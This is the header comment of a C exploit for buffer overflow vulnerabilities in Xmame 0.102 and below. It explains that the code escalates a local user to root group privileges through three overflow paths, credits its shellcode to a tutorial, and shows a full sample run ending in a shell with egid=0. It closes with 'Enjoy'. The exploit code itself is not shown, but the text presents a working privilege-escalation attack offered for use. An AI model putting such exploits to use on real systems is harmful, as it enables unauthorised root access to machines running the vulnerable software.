Xmame 0.102 has buffer overflow vulnerabilities that can be exploited for root access.

Code

 *
 * On 20th of Jan it came to my attention that Xmame suffered from several
 * buffer overflow problems. Thinking this issue was resolved, I installed
 * Xmame on my Ubuntu laptop, from the Ubuntu repositories which installed a 
 * vulnerable version of Xmame.
 * This is what prompted me to write this exploit. I realise there is a 
 * ruby exploit out there, but that did not exploit my system, hence 
 * another reason to write this exploit.
 * 
 * This code exploits Xmame 0.102 and below.
 *
 * The shellcode used in this exploit is taken from Mixter's buffer 
 * overflow tutorial which can be found here: http://mixter.void.ru/exploit.html
 *
 * Based on what arguments you supply, this code will exploit 3 of 
 * the vulnerabilities found in Xmame giving you an euid=0
 * Read the usage.
 *
 * Example: 
 * sj@tsunami:~/audit$ gcc -o xmame-expl xmame-expl.c 
 * sj@tsunami:~/audit$ ./xmame-expl 1
 * Using -pb overflow method
 * info: trying to parse: /etc/xmame/xmamerc
 * error: /etc/xmame/xmamerc(71): unknown option joyusb-calibrate, ignoring line
 * info: trying to parse: /home/sj/.xmame/xmamerc
 * info: trying to parse: /etc/xmame/xmame-x11rc
 * info: trying to parse: /home/sj/.xmame/xmame-x11rc
 * sh-3.00$ id
 * uid=1000(sj) gid=1000(sj) egid=0(root) 
 * groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(lpadmin),108(scanner),109(admin),1000(sj)
 * sh-3.00$ 
 *
 * Enjoy (:
